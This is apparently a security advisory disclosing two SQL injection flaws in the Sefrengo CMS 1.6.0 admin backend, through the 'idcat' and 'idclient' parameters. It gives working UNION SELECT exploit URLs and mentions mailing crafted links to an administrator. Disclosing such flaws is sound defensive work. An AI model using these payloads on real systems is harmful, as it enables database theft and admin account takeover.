==========================
Vulnerability Description:
==========================

The Content Management System Sefrengo v.1.6.0 contains SQL-Injection
vulnerabilities in its administrative Backend.

==================

The administrative Backend of Sefrengo CMS contains a functionality to edit
folders which reside on the CMS. Its located here:

http://{TARGET}/backend/main.php?area=con_configcat&idcat=1&idtplconf=0

The parameter „idcat“ ist vulnerable against SQL-Injection. An attacker
could abuse this to send crafted URLs to the administrator via mail to
execute own SQL commands (e.g. create a second admin-account).

Exploit-Example:

http://
{TARGET}/backend/main.php?area=con_configcat&idcat=1'+and+'1'='2'+union+select+version(),user(),3,4+--+&idtplconf=0

Another SQL-Injection vulnerability can be found in the administrative
backend, where the admin can manage installed plugins. The vulnerable
parameter is „idclient“ in the following URL:

http://{TARGET}/backend/main.php?area=plug&idclient=1

Exploit-Example:

http://
{TARGET}/backend/main.php?area=plug&idclient=1%27+and+%271%27=%272%27+union+select+1,version%28%29,user%28%29,4,database%28%29,6,7,8,9,10,11,12,13,14+--+
